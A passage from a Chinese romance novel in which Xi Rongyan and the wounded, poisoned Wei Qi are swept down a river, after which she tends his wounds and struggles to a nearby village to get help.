席容烟明白魏祁应该要带着她落下去了,怕水流将两人冲散。
她应着,用尽力气缠了许久才缠好。
魏祁手上的力气几乎已经耗尽,脚下再没可踩踏的石头,这时候落下去,或许还有力气从水中生还。
要是脱力落下去,一点机会都没了。
并且他还中了毒,他没告诉席容烟,只是怕她害怕。
他深吸一口气,知道席容烟不会水,依旧用低沉的声音让她别怕,憋气闭着眼睛,尽量别挣扎。
席容烟慌乱的应着,最后一句落在她耳边的是魏祁低低的一句:“烟儿,信我。”
席容烟虽然怕水,但耳边魏祁低声沉稳的话还是让她觉得安心。
她想着要是这回能够和魏祁活下来,她再不与他计较了。
人总着,总是要朝前看,好好过的。
她轻轻的嗯了一声,捏紧了魏祁身上的衣料。
魏祁深吸一口气,一只手伸手将后背上的席容烟抱到身前来,伴随着呼啸的风声,两人的身子滚落下去。
一瞬间的窒息灌入口鼻,眼前是被淹没的恐惧。
在滚滚往前的流水里,要不是腰上一直紧握的手臂在拖着她,她几乎觉得自己或许就要沉下去淹死了。
眼前浮浮沉沉,忽明忽暗,呛人的水灌进耳朵,嗡嗡声中她什么都听不见,眼前唯有浓黑。
她感觉到自己的身子在被一只手用力的往上托,只是她连挣扎的力气都提不起来,水灌入他喉咙,几乎窒息。
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再醒来的时候,眼前是刺目的光线。
席容烟眯着眼睛,适应了许久眼睛才不那么艰涩。
她又试着动了动,浑身发疼,身上的骨头好似都被巨石碾了一边。
恍恍惚惚里思绪渐渐清晰,她咳嗽几声,抬起手的时候才发觉手臂被勒的一疼,侧过头就看到身边的魏祁。
两人的手臂还缠在一起的。
魏祁的脸色苍白,唇瓣也发白,一动不动。
席容烟慌张的唤他,又拖着发疼的身体将缠在两人手臂上的腰带解下来,见着唤不醒魏祁,又急忙蹲在他身边拍他的脸。
撒下来的光线炙热,可魏祁的脸上却是冰凉一片。
这是她头一次见到魏祁这个样子。
从前一直沉稳和从容不迫的人,无声无息的躺在她面前的时候,她才觉得恐慌。
席容烟吓得含了泪,手指颤颤落到魏祁的鼻下,感受到微弱的气息时,她一下子趴在他怀里哭了出来。
没死就好了。
她又从他胸膛上起来,擦干了泪站起来往四周看,岸边不远处是林子,举目望去什么人烟都看不到。
根本不知道被水流冲到了哪里。
席容烟看找不到人来帮忙,又连忙蹲下来去看魏祁身上的伤。
她看见他只着白色里衣的衣裳上依旧满是血迹。
她才想起,她给魏祁解开腰带的时候,他就让她将他身上的外衣也脱了。
昨夜她根本看不清魏祁身上哪里还受了伤,如今看过去却是触目惊心。
他肩膀上的箭头还留在上面,脸上还有擦伤,白色里衣全被染红了,她可以想象他身上到底留了多少血。
她润了眼眶,又用力将魏祁翻身,才看到他后背上全都是伤口,透过被划开的里衣,里头的伤血肉模糊,又被水泡开,伤口外翻泛白。
血腥味直冲席容烟鼻中,她捂唇深吸一口气,目光颤颤落在那伤口上。
更让她害怕的是,那些伤口泛着紫红,显然是中了毒。
她明白,要是再这样下去,魏祁定然是活不了的。
这里荒郊野外,到了夜里或许还会有野兽。
此刻她恨自己不会草药,要不然也能稍微帮帮魏祁。
她看着伤口又忽然一怔,又忙想起来往河边走。
急促的走到河水边,她用叶子舀水过来,又低头吸在魏祁的伤口上,想为他将毒血吸出来。
她吸一口就净口再吸,直到席容烟自己都觉得开始眩晕。
最后只剩下魏祁肩膀上那射进去的箭头,她小心的试了许多法子都没有取出来,又看魏祁依旧丝毫反应没有,急得眩晕。
她用力推他,喊他的名字,依旧一点回应也没有。
此刻已经快要正午,席容烟心里犯恶心晕眩,也不知道是不是她为魏祁吸了毒血的缘故,她昏昏沉沉的几乎也快站不稳了。
这时候她看见远处有炊烟升起来,她明白再留在这里她也会晕过去,要是没有人帮忙,两个人就只能等死了。
见叫不醒人,席容烟咬着牙替魏祁将身上半干的衣裳拢好,又去扯了杂草来盖在魏祁的身上,防止他被什么野兽过来看见。
只是魏祁身上的血腥味重,席容烟用力拖也拖不动人,就害怕夜里野兽出没闻着味道过来。
她知道她不能再耽误了。
忙又捡了根木棍朝着炊烟的方向走。
那炊烟就在林子的那一边,看起来并不是很远,或许她能在天黑前让人来救魏祁。
她一边捡着地上的石头做标记,胃里翻江倒海的恶心,连眼前的路都有些看不清。
林子里的路更加难走,树根盘桓,时不时就会被绊倒。
席容烟自己知道自己的身体真的撑不了多久了,她往前看去,炊烟的方向就在不远的地方。
扶着树干呕了呕,又咬破了唇继续往前走。
走出林子的伺候,刺眼的光线又撒下来,她眯着眼看到眼前有农田,有好几处农舍,她还看见不远处有孩童在田垄上跑,摇摇欲坠的身子终于松懈了一口气。
还好不远。
她与魏祁或许都能得救。
像是某种意志在让她坚持,她喊了几声,声音太小根本没有人听到,这时候已经是正午,农舍里都在生火做饭,外头没人,只有一两个孩童偶尔出现。
只是他们玩耍嬉闹,也根本没有注意到她。
席容烟喘了几口气,只好又撑着力气往前走,但愿能被看到。
正午后的太阳炙热,让席容烟几乎喘不上气来,摇摇欲坠的几乎下一刻就快要晕倒下去。
眼前的景象已经出现了重影,脚下的步子已经感觉不到踩在地上,身上冷汗淋淋,止不住的发颤。
用尽力气走到一条小路上,前面传来炊烟的烟火气,她口中干涸,看着前面不远处的人,喊出的声音只有喃喃。
小路在田垄上,房屋还在田垄上面,席容烟只觉得自己的身子根本撑不了那么久了。
只是她现在要晕倒过去,她和魏祁怕是都得不了救。
脚下已经支撑不了她愈加发重的身体,眼前冒出孩童看过来好奇看来的目光,她再也撑不住,身子倒在了地上。
意识却硬挨着不让自己晕过去。
身边传来过来的人叽叽喳喳的声音,她听不清他们再说什么,用尽力气拽住面前的一片衣角,指着一个方向,口中只有一句救人。
毒辣的日光照射在她脸上,她听到耳边大声喊大人过来的声音,听着隐隐约约过来的声音,她难受的缓出一口气,身体蜷缩起来,眼前发黑,又提起一口气,指着林子里,她说她扔了石子做标记,让他们救人。